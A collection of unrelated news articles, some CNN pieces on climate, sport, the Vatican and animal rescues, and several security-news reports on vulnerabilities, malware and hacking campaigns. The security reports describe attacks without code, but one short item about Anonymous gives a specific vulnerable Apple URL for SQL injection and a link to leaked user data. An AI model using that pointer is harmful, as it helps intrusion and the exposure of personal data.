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Story highlights"We're holding you accountable for your lack of action," Xiuhtezcatl Tonatiuh says "I wanna see concrete action and concrete promises from our country -- and commitments for action on climate change"CNN Opinion columnist John D. Sutter is reporting on a tiny number -- 2 degrees -- that may have a huge effect on the future. He'd like your help. Tell him how climate change could affect you personally, and you could be part of CNN's coverage.You can also subscribe to the "2 degrees" newsletter or follow him on Facebook, Twitter and Instagram. He's jdsutter on Snapchat. You can shape this coverage.Paris (CNN)Xiuhtezcatl Tonatiuh became a climate change activist at age 6 when he saw an environmental documentary. He asked his mom to find a way for him to speak at a rally.Met this guy the other day in Paris. Now 15 and suing the Obama Administration over climate change. https://t.co/Efi76f60GP #2degrees— John D. Sutter (@jdsutter) November 30, 2015
Now 15, the long-haired, hip-hop-savvy Coloradan is one of 21 young activists joining climate scientist James Hansen in suing the Obama administration for failing to ditch fossil fuels. "It's basically a bunch of kids saying you're not doing your job," he told me here at the U.N. COP21 climate change summit in Paris. "You're failing, you know. F-minus. We're holding you accountable for your lack of action." I'm not sure what will become of his lawsuit (although it's clear the fossil fuel industry feels threatened by it; it's apparently trying to get the legal action dismissed), but Tonatiuh's voice is an essential one as more than 140 world leaders and thousands of policy wonks and journalists convene here for the most important climate change summit in history. Read MoreHe's part of the "generation with the most to lose," he told me.JUST WATCHEDObama: Nothing will deter us ReplayMore Videos ...MUST WATCHObama: Nothing will deter us 04:15On Monday, after the climate summit opened with a bizarre version of the green-carpet Oscars, with presidents crawling out of fancy cars and looking for photo-ops (why weren't any of them riding bikes!? I would have loved that), U.S. President Barack Obama, a defendant in the 15-year-old's lawsuit, gave one of the most anticipated speeches of the summit. "I've come here personally, as the leader of the world's largest economy and the second-largest emitter, to say that the United States of America not only recognizes our role in creating this problem, we embrace our responsibility to do something about it," Obama said. "Over the last seven years, we've made ambitious investments in clean energy and ambitious reductions in our carbon emissions. We've multiplied wind power threefold, and solar power more than twentyfold, helping create parts of America where these clean power sources are finally cheaper than dirtier, conventional power. We've invested in energy efficiency in every way imaginable. We've said no to infrastructure that would pull high-carbon fossil fuels from the ground, and we've said yes to the first-ever set of national standards limiting the amount of carbon pollution our power plants can release into the sky."Obama also was expected to join billionaire Bill Gates in announcing an international group of investors and governments to fund development of clean-energy technologies.I see that as a very encouraging development. (And I got to ask Gates one of the questions you guys sent via Snapchat ... look for more on that soon.) But Tonatiuh, who I met over the weekend, more or less predicted what Obama would say. As an 8-year-old (this kid is the Doogie Howser of climate activism, I swear, and, yes, I know that '80s TV reference is dating me) he campaigned for Obama. But he's getting antsy in his mid-teens. He knows the Obama administration has pushed to make vehicles more efficient and clean up coal-fired power plants. He's seen the country's climate pact with China, with the world's two largest polluters pledging -- and this would have been unheard of not many years ago -- to slow and reverse their emissions of global warming gasses.But he also knows it's not enough to meet the world's goal of limiting warming to 2 degrees Celsius above preindustrial levels. To do that, we need to ditch fossil fuels completely.Obama has "said it before, that climate change is one of the most pressing issues of our time," Tonatiuh told me. "That, in his lifetime, he wants to see the slowing of the rising seas. We've all seen that speech. Talk is cheap. I wanna see concrete action and concrete promises from our country -- and commitments for action on climate change."He's only 15, mind you. But he's already thinking about his kids. "The reason we are fighting for this is because of the world we want to grow up in, and the world we want our children and grandchildren and great-grandchildren to grow up in," he said. "This is not a selfish cause. We're not politically invested, we're not financially invested. ... We are in this because of the way it affects the state of the planet we want to be left with. That is the most noble cause I'd say: Leaving our children a better planet than the one we are living in today. We are doing our part. We need political leaders to step up and do theirs."The first day of the COP21 summit was filled with lots of what Tonatiuh, and many other activists, are sick of: talk. "We have the knowledge, the tools and the money -- only 1.7% of global annual consumption would be required to put us on the right low carbon path for 2030," said the UK's Prince Charles. "The science is clear," said U.N. Secretary-General Ban Ki-moon. "Even a 2-degree rise will have serious consequences for food and water security, economic stability and international peace. That is why we need a universal, meaningful agreement here in Paris."We absolutely need that agreement.And discussion must precede it, of course.I'm optimistic these talks will succeed where so many have failed. (The reason the summit is called COP21 is this is the 21st time we've done this.) But I'm so glad that, despite the Paris ban on mass demonstrations following the November 13 terror attacks, smart young people like Tonatiuh, who is a hip-hop artist and activist inspired by Aztec traditions, are here to lend their voices to the process. "Let there be no doubt," Obama said Monday, "the next generation is watching what we do. ... I want our actions to show that we're listening.""For I believe, in the words of Dr. Martin Luther King Jr.," he continued, "that there is such a thing as being too late. And when it comes to climate change, that hour is almost upon us."No one realizes that more than young people like Tonatiuh. Those of us beyond our teens must listen and then look inward. Are our actions enough that we can say to future generations: We did everything we could to slow this steamrolling crisis -- to save countries like the Marshall Islands from rising seas; to prevent unnecessary heat waves, droughts and wildfires; to make sure millions don't fall into poverty and watch their crops fail because of our greed? If not, what does that say about us?Sign up for the Two° newsletterFollow John Sutter on TwitterRead more in the Two° series
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It is advised to those who are running their web server with OpenSSL 1.0.1 through 1.0, then it is significantly important that you update to OpenSSL 1.0.1g immediately or as soon as possible.
As this afternoon, an extremely critical programming flaw in the OpenSSL has been discovered that apparently exposed the cryptographic keys and private data from some of the most important sites and services on the Internet.
The bug was independently discovered by security firm Codenomicon along with a Google Security engineer. The flaw is in the popular OpenSSL cryptographic software library and its weakness allows cyber criminals to steal the information protected, under normal conditions, by the SSL (Secure Sockets Layer) or TLS (Transport Security Layer) encryption used to secure the Internet.
OpenSSL is an open-source implementation of the SSL and TLS protocols. The core library implements the basic cryptographic functions that enable SSL and TLS encryption. Mostly every websites use either SSL or TLS, even the Apache web server that powers almost half of the websites over internet utilizes OpenSSL.
HEARTBLEED BUG
The discoverer of the vulnerability dubbed the bug as 'Heartbleed bug', as the exploit rests on a bug in the implementation of OpenSSL's TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520).
This critical bug with code ID CVE-2014-0160, could allows an attacker to expose up to 64kB of memory from the server or a connected client computer running a vulnerable version of OpenSSL software. Specifically, this means that an attacker can steal keys, passwords and other private information remotely.
"We have tested some of our own services from attacker's perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, usernames and passwords, instant messages, emails and business critical documents and communication."
The vulnerability in the OpenSSL's transport layer security (TSL) protocols' heartbeat section has been in the wild since March 2012 and is supposed to be even more dangerous than Apple's recent SSL bug, which outcropped the possibility for man-in-the-middle (MitM) attacks.
As the Heartbleed bug reveals encryption keys that could lead to other compromises, affects past traffic and may affect as much as 66 percent of Internet websites over the internet. 10 out of top 1000 sites are vulnerable to this flaw, including Yahoo Mail, Lastpass and the FBI site. There also is a proof-of-concept exploit for the flaw posted on Github. On this website, you can check if your web server is vulnerable or not.
"Bugs in single software or library come and go and are fixed by new versions," the researchers who discovered the vulnerability wrote in a blog post published Monday. "However this bug has left a large amount of private keys and other secrets exposed to the Internet. Considering the long exposure, ease of exploitations and attacks leaving no trace this exposure should be taken seriously."
Fixes for the bug have been released by the researchers. So, who are running the OpenSSL 1.0.1f version may update to OpenSSL 1.0.1g. The users running older version of OpenSSL are safe.
Related Important Articles:
German Developer responsible for HeartBleed Bug in OpenSSL
How Heartbleed Bug Exposes Your Passwords to Hackers
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable
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It appears there is no end in sight to the hardware level security vulnerabilities in Intel processors, as well as to the endless 'performance killing' patches that resolve them.
Modern Intel CPUs have now been found vulnerable to a new attack that involves reversely exploiting Meltdown-type data leak vulnerabilities to bypass existing defenses, two separate teams of researchers told The Hacker News.
Tracked as CVE-2020-0551, dubbed "Load Value Injection in the Line Fill Buffers" or LVI-LFB for short, the new speculative-execution attack could let a less privileged attacker steal sensitive information—encryption keys or passwords—from the protected memory and subsequently, take significant control over a targeted system.
According to experts at Bitdefender and academic researchers from a couple of universities, the new attack is particularly devastating in multi-tenant environments such as enterprise workstations or cloud servers in the datacenter.
And, that's because a less-privileged rouge tenant could exploit this issue to leak sensitive information from a more privileged user or from a different virtualized environment on top of the hypervisor.
Intel CPUs 'Load Value Injection' Vulnerability
Unlike previously disclosed Intel chipset vulnerabilities—including Meltdown, Spectre, and MDS—where an attacker speculatively accesses the memory or sniffs the data when the victim accesses it, the new LVI-LFB attack involves attacker injecting malicious data into the buffers that victim program unwillingly uses during the speculative execution.
"The attacker sprays the LFBs with the address of a malicious function, and when the victim issues an indirect branch through memory which requires a microcode assist, the address of the malicious function is loaded from the LFBs, thus leading to the attacker function being speculatively executed," Bitdefender researchers told The Hacker News.
Though the latest flaw is a new variant of MDS attacks, it can't be mitigated with existing patches for previously disclosed Meltdown, Foreshadow, ZombieLoad, RIDL, or Fallout speculative-execution attacks.
"It combines Spectre-style code gadgets in the victim application with Meltdown-type illegal data flow from faulting or assisted memory load instructions to bypass existing defenses and inject attacker-controlled data into a victim's transient execution," the researcher Jo Van Bulck and his team said in a detailed paper.
As illustrated in the image above, the LVI attack can be executed in 4 simple steps:
Poison a hidden processor buffer with attacker values,
Induce faulting or assisted load in the victim program,
The attacker's value is transiently injected into code gadgets following the faulting load in the victim program,
Side channels may leave secret-dependent traces before the processor detects the mistake and rolls back all operations.
In other words, when the victim actively tries to execute some code, the attacker can actively fill the MDS buffers with carefully chosen values to influence the execution of the victim's thread.
PoC Exploit Demo and Security Patches
According to the researchers, there are several possible scenarios to exploit the LVI-LFB based control flow hijacking attack, such as: influencing an address that is accessed, the offset within an accessed buffer, the result of a conditional branch, or affecting the destination of an indirect branch.
"LVI based control flow hijacking allows an attacker to trick the victim into speculatively executing a function of his choosing. This works, theoretically, across all security boundaries: process to process, user-mode to kernel-mode, guest-mode to root-mode, and perhaps even user-mode to enclave," Bitdefender researchers said.
Both teams of researchers have also developed proof-of-concept exploits, one of which could let attackers compromise the security of Intel SGX enclaves is now available on GitHub.
Though researchers haven't tested AMD or ARM processors, they hinted "in principle, any processor that is vulnerable to Meltdown-type data leakage would also be vulnerable to LVI-style data injection."
Jo Van Bulck led team reported this flaw to the Intel team almost a year ago, whereas Bitdefender reported it just last month immediately after discovering it independently.
Intel has acknowledged these findings and today released a list of all affected products on its website along with the information on microcode security patch updates.
However, since the hardware flaws cannot be eradicated with software patches and flushing affected buffers are no longer sufficient, researchers suggest affected users to either disable rich performance features like hyper-threading, or replace the hardware to completely avoid such vulnerabilities.
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(CNN)The starters for this year's NBA All-Star Game were announced on Thursday, and there were some familiar faces along with some new ones. Los Angeles Lakers star LeBron James was named as the captain for the Western Conference team, the 18th time he's been named to the All-Star team, tying Kobe Bryant for second place all time behind Kareem Abdul-Jabbar, who has 19.It also means that the 37-year-old has been a captain in each of the five years the NBA has used the current system to pick its teams. James will be returning to Cleveland for the All-Star Game, which takes place on February 10, the city where he began his NBA career in 2003 and where he won a title in 2016. James in action during the first half of a game against the Miami Heat.James is joined by Golden State Warriors guard Stephen Curry, Memphis Grizzlies guard Ja Morant, Denver Nuggets center Nikola Jokic and Warriors forward Andrew Wiggins as starters for the West. Read MoreIt is Curry's eighth selection to the All-Star Game, while for reigning NBA MVP Jokic, it is the Serbian big man's fourth selection. Morant and Wiggins will both be making their debuts, with Morant having a breakout season with the ascendent Grizzlies while Wiggins has played a big part in the Warriors' excellent season. Wiggins described finding out he was a starter as "mind blowing.""I was taking my pregame nap and my girl and daughter woke me up and told me: 'You are a starter, you are a starter.' I thought I was dreaming for a second. I was like, 'What is going on?' It was a good way to learn that I made it to the All-Star, and I am thankful," he told the media."I have been putting in a lot of work and I have found a home here. Hopefully, I can keep it going and this is not the last one."Kevin Durant will be the captain of the Eastern Conference's team, meaning it's the same set of All-Star captains as in 2021. Durant against the New Orleans Pelicans.It's unclear whether the Brooklyn Nets star will actually feature in the game as he continues his recovery from a sprained knee ligament. Joining 12-time All-Star Durant is Chicago Bulls guard-forward DeMar DeRozan, Atlanta Hawks guard Trae Young, Philadelphia 76ers center Joel Embiid and Milwaukee Bucks forward Giannis Antetokounmpo. It's the 'Greek Freak's' sixth selection -- tying Abdul-Jabbar's Bucks franchise record for selections -- the fifth for Embiid and the second for Young. For DeRozan, the Bulls star has enjoyed a resurgent season, helping Chicago to the second spot in the Eastern Conference. Visit CNN.com/sport for more news, features, and videosThe announcement of DeRozan's fifth All-Star selection was made by teammate Zach LaVine -- who just fell short of being named to the team as well -- on the flight to the Bulls' next game. Zach broke the news of DeMar's All-Star announcement on our team plane ❤️ pic.twitter.com/AFcW9ShWrm— Chicago Bulls (@chicagobulls) January 28, 2022
Fan ballots accounted for 50% of the vote, with a media panel and current players each accounting for 25%.The reserves for the game will be announced on February 3 and are voted on by head coaches in each conference.
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Story highlightsScotland upsets England 25-13Pre-match scuffle involving Owen Farrell Ireland keeps Grand Slam hopes aliveFrance beats Italy 34-17 (CNN)An inspired Scotland hustled and harried two-time reigning Six Nations champion England to pull off a shock 25-13 victory at Murrayfield Saturday.Three first half tries, including a double from Huw Jones, laid the foundations for a famous Scottish victory, its first over England since 2008, to end the Grand Slam hopes of the visitor.Follow @cnnsport
Written off after an opening day thrashing by Wales, Gregor Townsend's men built on the victory over France a fortnight ago to claim the Calcutta Cup and boost their own title chances.England had won 24 of 25 internationals going into the match as heavy favorite, but Scotland never trailed after an early penalty from Greig Laidlaw and went on to dominate the opening half.Jones took advantage of sloppy English defence to dart over for his opening try, the first scored by Scotland at Murrayfield against its arch-rival since wing Simon Danielli went over 14 years ago.Owen Farrell involved in tunnel fight as England and Scotland players clash before Calcutta Cup at Murrayfield https://t.co/axLtfnOotD pic.twitter.com/MUJQxZmyUg— MailOnline Sport (@MailSport) February 24, 2018
Read MoreOwen Farrell, who the BBC reported at halftime was involved in an unseemly pre-match scuffle with Ryan Wilson, responded with his second penalty before Sean Maitland went over in the corner after a superb pass by man of the match Finn Russell set up the try.The icing on the cake was to follow as Jones demonstrated his electric pace to burst through the English defence, shrugging off several tackles to go over near the posts, his eighth try in eight Tests..@HRFJones' last six Tests:v Samoa - 1 TRYv New Zealand - 1 TRYv Australia - 1 TRYv Wales v France - 1 TRYv England - 2 TRIES#SCOvENG #NatWest6Nations pic.twitter.com/R7NgPbipNR— NatWest 6 Nations (@SixNationsRugby) February 24, 2018
Laidlaw's conversion gave Scotland a 22-6 halftime lead and left England with too much to so.Farrell scored an early converted try to raise home jitters which increased to fever pitch as he crossed again only for his effort to be ruled out for a knock-on as Courtney Laws tackled Scotland captain John Barclay.It was the slice of good fortune that the host needed and after England replacement Simon Underhill was yellow carded it was left to Russell to apply the final touches with a penalty to leave his side 12 points clear.England coach Eddie Jones was not making excuses for his team's disappointing defeat."Congratulations to Scotland they were too good for us," he said."Full marks to them. We did not meet the challenge today."Stockdale double lifts IrelandEarlier, Ireland kept its Grand Slam hopes alive by holding off a spirited Welsh fightback in Dublin for a bonus point 37-27 win.Wales, trailing 30-27 with a minute to go, was pushing for a late score but Jacob Stockdale intercepted a floated pass to run in his second try of the match and seal the Irish victory.Stockdale, whose early try put Ireland ahead in the Aviva Stadium, was scoring his eighth in the last seven Tests.Stockdale's second seals the win for Ireland after a superb interception pic.twitter.com/IjlwNtJEJf— ITV Rugby (@ITVRugby) February 24, 2018
But Wales, which also suffered a narrow defeat to England at Twickenham in the second round of matches, gave the host a real scare.A first half try from Gareth Davies and eight points from the boot of Leigh Halfpenny saw the visitor cancel out Stockdale's early effort to lead 13-5.But Johnny Sexton landed a penalty and New Zealand-born Bundee Aki barged over for a try, converted by Sexton, to give the home side a 15-13 advantage at the break.Dan Leavy and Cian Healy capitalized on that home momentum with second half tries to leave Ireland 27-13 ahead before Wales hit back with tries from Aaron Shingler and Steff Evans.Conor Murray's late penalty goal and the late, late try from Stockdale ultimately gave Ireland its 10th straight win and one hand on the Six Nations trophy.However, resurgent Scotland visit Dublin next before what had been billed as a Grand Slam and title decider against England at Twickenham on St Patrick's Day, March 17.France ends winless runFriday night saw France end its eight-game winless run with a 34-17 victory over Italy in Marseille.An impressive return from @BastaOfficiel as @FFRugby overpower @Federugby in an historic encounter in Marseille #NatWest6Nations 👉https://t.co/EfHMcDQL6M pic.twitter.com/F9rZfMPwqG— NatWest 6 Nations (@SixNationsRugby) February 23, 2018
Toulon centre Mathieu Bastareaud starred on his return to the side after a suspension for a homophobic slur, scoring one of the three French tries, with Paul Gabrillagues and Hugo Bonneval getting the others.France also coped without a number of regular starters, dropped by coach Jacques Brunel for "inappropriate behaviour" after the narrow defeat to Scotland in the second round of matches.Italy led early in the first half after a 10th-minute penalty try canceled out Gabrillagues' unconverted score, but France was ahead by the half as Maxime Machenaud kicked two penalties to make it 11-7.Second half tries from Bastareaud and Bonneval put the game out of Italy's reach in the second half, with Machenaud kicking his way to a personal points tally of 17.Matteo Minozzi got a consolation try for Conor O'Shea's men, but it was too little too late for Italy.
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There are more than 100 Million users who are using Facebook mobile app. Facebook has fixed multiple critical vulnerabilities in its Android based applications that allows hackers to steal access tokens and hijack accounts.
Egyptian security researcher Mohamed Ramadan, Security researcher with Attack Secure, has who disclosed a couple of vulnerabilities in the Facebook Main app and Facebook messenger app and Facebook page's manager application for Android.
User's access token is the key to accessing a Facebook account and according to him, an attacker only needs to send a message that contains an attachment of any type, i.e. Videos, documents, and pictures.
Once the victim will click on that file to download, immediately victim's access_token will be stored in the Android's log messages called - logcat, that enables other apps to grab user's access token and hijack the account.
Video Demonstration:
The second flaw which is reported by Ramadan, impacts the Facebook Pages Manager application for Android and similar to the first. "The vulnerability I found in the Facebook Pages Manager app is the same like the other one but to exploit it, you need to login to your Facebook account and your access token will be leaked to all apps without a need to download ANYTHING from ANYONE,".
Ramadan also mentioned that the Facebook access_tokens don't expire, So the user should update their Facebook apps to patch the vulnerability.
He is rewarded with total $6,000 in bug bounties, for reporting above flaws to the Facebook Security Team.
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Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
"While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4," Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function "Load_SBit_Png," which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
"The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap," Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's "stable" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that "an exploit for CVE-2020-15999 exists in the wild," but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to "Help → About Google Chrome" from the menu.
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Threat actors such as the notorious Lazarus group are continuing to tap into the ongoing COVID-19 vaccine research to steal sensitive information to speed up their countries' vaccine-development efforts.
Cybersecurity firm Kaspersky detailed two incidents at a pharmaceutical company and a government ministry in September and October leveraging different tools and techniques but exhibiting similarities in the post-exploitation process, leading the researchers to connect the two attacks to the North Korean government-linked hackers.
"These two incidents reveal the Lazarus group's interest in intelligence related to COVID-19," Seongsu Park, a senior security researcher at Kaspersky, said. "While the group is mostly known for its financial activities, it is a good reminder that it can go after strategic research as well."
Kaspersky did not name the targeted entities but said the pharmaceutical firm was breached on September 25, 2020, with the attack against the government health ministry occurring a month later, on October 27.
Notably, the incident at the pharmaceutical company — which is involved in developing and distributing a COVID-19 vaccine — saw the Lazarus group deploying the "BookCodes" malware, recently used in a supply-chain attack of a South Korean software company WIZVERA to install remote administration tools (RATs) on target systems.
The initial access vector used in the attack remains unknown as yet, but a malware loader identified by the researchers is said to load the encrypted BookCodes RAT that comes with capabilities to collect system information, receive remote commands, and transmit the results of the execution to command-and-control (C2) servers located in South Korea.
In a separate campaign aimed at the health ministry, the hackers compromised two Windows servers to install a malware known as "wAgent," and then used it to retrieve other malicious payloads from an attacker-controlled server.
As with the previous case, the researchers said they were unable to locate the starter module used in the attack but suspect it to have a "trivial role" of running the malware with specific parameters, following which wAgent loads a Windows DLL containing backdoor functionalities directly into memory.
"Using this in-memory backdoor, the malware operator executed numerous shell commands to gather victim information," Park said.
Irrespective of the two malware clusters employed in the attacks, Kaspersky said the wAgent malware used in October shared the same infection scheme as the malware that the Lazarus group used previously in attacks on cryptocurrency businesses, citing overlaps in the malware naming scheme and debugging messages, and the use of Security Support Provider as a persistence mechanism.
The development is the latest in a long list of attacks capitalizing on the coronavirus pandemic — a trend observed in various phishing lures and malware campaigns throughout the last year. North Korean hackers are alleged to have targeted pharma firms in India, France, Canada, and the UK-based AstraZeneca.
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(CNN)The Vatican says it has extended its controversial agreement with China over the appointment of bishops for another two years.Details of the agreement, which was struck in 2018, have never been made public. It has been criticized by some Catholic officials as well as by US Secretary of State, Mike Pompeo.But the Vatican said on Thursday that the deal "is of great ecclesial and pastoral value" and said it "intends to pursue an open and constructive dialogue for the benefit of the life of the Catholic Church and the good of Chinese people." Officially, there are about 6 million Catholics in China.Prior to 2018, Beijing had long insisted on having the final say on all bishop appointments in mainland China, while the Holy See maintained that only the Pope has such authority.The eventual agreement brought to an end decades of tension between the Vatican and China, which severed diplomatic ties with the Holy See in 1951 after an alleged, and often discredited, assassination plot against Chinese leaders involving a Catholic priest.Read MoreCardinal proclaims innocence after resigning in Vatican financial scandal The ruling and officially atheist Communist Party had long portrayed foreign religious institutions such as the Catholic Church as hostile forces responsible for the country's suffering and humiliation during the late 19th and early 20th centuries.The deal, which is part of Pope Francis's vision to expand the Catholic Church's following across the world, would help the Vatican gain access to potentially millions of converts across China, the world's most populous nation.But critics have questioned why the church, historically a defender of human rights and Christian values, would willingly join forces the increasingly authoritarian Chinese government, which is officially atheist.In October, Secretary Pompeo said in an article in a conservative Catholic magazine that the agreement with China compromised the moral authority of the Vatican.The Vatican's statement said there had been "good communication and cooperation" with China and that they intended "to pursue an open and constructive dialogue for the benefit of the life of the Catholic Church and the good of the Chinese people."The future of the deal had appeared murky earlier this year, when a report said China was suspected of hacking the Vatican.CNN's Daniel Burke contributed reporting
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(CNN)It's no secret that 2020 has been a stinker of a year for many of us -- but a British animal welfare organization, the RSPCA, has shared some pictures that may make you smile. The RSPCA released its list of the year's top animal rescues, to cheer people up in what it said has been a "challenging year."The RSPCA had to use Vaseline as a lubricant to free the fox.When workers arrived at a gym equipment warehouse in Llanelli, Wales, they were surprised to find a gray seal pup, trapped between treadmills. The seal, which is thought to have reached the warehouse by traveling up a nearby river, was transported back to the water, and later taken to a wildlife center. This angry-looking tawny owl needed help after getting stuck inside a fireplace.Meanwhile, a young fox got more than he bargained for when he fancied a drink -- the animal was discovered by RSPCA staff with a watering can on his head, which officers had to pull free using Vaseline as lubricant. Read MoreA badger needed a bit of help after getting his butt wedged in a garden fence.And then there was the badger who got his butt wedged in a fence in Kent, England, and an unimpressed owl stuck behind a fire grate. An eight-week-old cockapoo crawled under the recliner and got his fur caught. The RSPCA freed him with the help of the local fire department. Some of the animal encounters were more terrifying than hilarious, including an escaped pet snake, who was discovered by a horrified gas worker who was attempting to read a meter.A gas worker got a slithery surprise when attempting to read the meter."While 2020 felt like a difficult year, it hasn't all been doom and gloom. Our animals have provided comfort, joy and happiness while we endured lockdown uncertainty," the organization said. A hungry hedgehog crawled inside a discarded bird feeder in search of food and got stuck.
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Instagram has been hit by a widespread hacking campaign that appears to stem from Russia and have affected hundreds of users over the past week, leaving them locked out of their accounts.
A growing number of Instagram users are taking to social media, including Twitter and Reddit, to report a mysterious hack which involves locking them out of their account with their email addresses changed to .ru domains.
According to victims, their account names, profile pictures, passwords, email addresses associated with their Instagram accounts, and even connected Facebook accounts are being changed in the attack.
Many of the affected Instagram users are also complaining about their profile photos replaced with stills from popular films, including Despicable Me 3 and Pirates of the Caribbean.
Although it is still unknown who is behind the widespread hack of Instagram accounts, the use of the email addresses originating from Russian email provider mail.ru may indicate a Russian hacker or hacking group is behind the attack, or perhaps hackers pretending to be from Russia.
First spotted by Mashable, the hack even affected Instagram users with two-factor authentication (2FA) enabled, as at least one user told Mashable that he was using 2FA, but it did nothing to stop his account from being hacked. However, it is currently unconfirmed.
In response to the report, Instagram published a blog post saying that the company continues to investigate the issue and that it has "dedicated teams helping people to secure their accounts."
"We are aware that some people are having difficulty accessing their Instagram accounts," Instagram says, pointing users to its guidance on hacked accounts to help keep their account secure.
The company advises Instagram users to keep a secure password with at least six numbers and/or letters, enable 2FA for additional security, and to revoke any suspicious third-party app that might have access to their accounts.
Instagram currently relies on text messages for two-factor authentication, which is believed to be less secure than other app-based 2FA methods, but the Facebook-owned company says it is working on improving its 2FA settings.
However, since the unknown technique being used by attackers to hack Instagram accounts is still unaddressed, there's nothing much you can do if the suspected loophole can also bypass two-factor authentication.
The motive behind the attacks is still unknown, but it appears that the attacks on Instagram are still happening at the time of writing.
For more information, users are recommended to visit the Instagram Help Centre dedicated to hacked accounts, which includes security tips as well as steps they can take to restore their account.
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Anything connected to the Internet could be hacked and so is the Internet of Things (IoTs).
The market fragmentation of IoTs or Internet-connected devices is a security nightmare, due to poor security measures implemented by their vendors.
Now, the researchers at security firm ESET have discovered a piece of Malware that is targeting embedded devices such as routers, and other connected devices like gateways and wireless access points, rather than computers or smartphones.
Dubbed KTN-Remastered or KTN-RM, the malware is a combination of both Tsunami (or Kaiten) as well as Gafgyt.
Tsunami is a well-known IRC (Internet Relay Chat) bot used by miscreants for launching Distributed Denial of Service (DDoS) attacks while Gafgyt is used for Telnet scanning.
KTN-RM, which researcher dubbed 'Remaiten,' features an improved spreading mechanism by carrying downloader executable binaries for embedded platforms and other connected devices.
How Does the Linux Malware Work?
The malware first performs Telnet scanning to look for routers and smart devices. Once the connection is made, the malware tries to guess the login credentials in an effort to take over weakly-secured devices.
If it successfully logs in, the malware will issue a shell command to download bot executable files for multiple system architectures before running them on the compromised networking kit.
"This is a simple but noisy way of ensuring that the new victim gets infected because it is likely that one of the binaries is for the current platform," explained ESET Malware Researcher Michal Malík. "It targets mainly those with weak login credentials."
The malware, version 2.0, also has a welcome message for those who might try to neutralise its threat, containing a reference to the Malware Must Die blog.
Perhaps it is a way to take revenge, as Malware Must Die has published extensive details about Gafgyt, Tsunami and other members of this Malware family.
For more technical details about KTN-RM or Remaiten, you can head on to ESET's official blog post published Wednesday.
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Apple database hacked with SQL injection by Anonymous
Anonymous hackers announce on twitter that Apple can be there next target. They expose one SQL vulnerability on Apple domain with One table "Users" data.
Vulnerable Link : https://abs.apple.com:8080/ssurvey/survey?id=
Exposure Link : https://pastebin.com/tkmZDG9m
These all hacks now consider under Operation Antisec by Anonymous and Lulzsec Members.
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Story highlightsSerena Williams makes her return to Indian Wells on Friday She hasn't played at the tournament since 2001 Her dad said he was racially abused at the tournament in 2001Venus Williams still has not returned to the California eventFollow us at @CNNSport and like us on Facebook (CNN)"This is going to be a test for Serena Williams. We're going to find out what she's made of. How mentally tough she really is." Those were the words of tennis analyst Mary Joe Fernandez in 2001, early into Serena Williams' decider with Kim Clijsters in the final of one of tennis' most prestigious tournaments. The match was being televised on one of the biggest sports networks in the world, ESPN. The then 17-year-old Clijsters had just held to love amid vociferous cheers and -- in a breach of tennis etiquette -- a large portion of the fans on center court at the event now known as the BNP Paribas Open roared approvingly when Williams struck a double fault to begin the next game. Despite Williams growing up about 130 miles away in a suburb of Los Angeles, while Clijsters hailed from Belgium, there was clearly no home-court advantage. Williams' father, Richard, and older sister, Venus, were booed as they made their way to their seats prior to the finale, with Richard claiming in USA Today he was the victim of racial abuse. Venus Williams, meanwhile, said in a press conference at her next tournament she "heard whatever he heard."Read More Photos: Serena and the story of Indian Wells in 2001 Photos: Serena and the story of Indian Wells in 2001Serena Williams, left, won the Indian Wells tennis tournament in 2001 by beating Kim Clijsters. But that was only half the story...Hide Caption 1 of 8 Photos: Serena and the story of Indian Wells in 2001Williams was booed by fans in the final. She grew up not far away in a suburb of Los Angeles. Hide Caption 2 of 8 Photos: Serena and the story of Indian Wells in 2001Williams' dad, Richard, and older sister, Venus, were booed when they made their way to their seats. Richard Williams said he was racially abused. Hide Caption 3 of 8 Photos: Serena and the story of Indian Wells in 2001Despite the charged atmosphere, Serena Williams beat Clijsters in three sets to repeat as champion. Hide Caption 4 of 8 Photos: Serena and the story of Indian Wells in 2001Serena Williams exchanged a hug with her dad after the final. Richard Williams shaped the careers of his two grand slam winning daughters from humble beginnings. Hide Caption 5 of 8 Photos: Serena and the story of Indian Wells in 2001But the incident took a toll on Serena Williams and her family. She boycotted Indian Wells until this year. Hide Caption 6 of 8 Photos: Serena and the story of Indian Wells in 2001In her first match in Indian Wells in 14 years, Serena played Monica Niculescu.Hide Caption 7 of 8 Photos: Serena and the story of Indian Wells in 2001But Richard Williams and Venus Williams are continuing to boycott the tournament, according to a tournament official. Hide Caption 8 of 8It was Richard Williams who shaped his daughters into grand slam winners from a 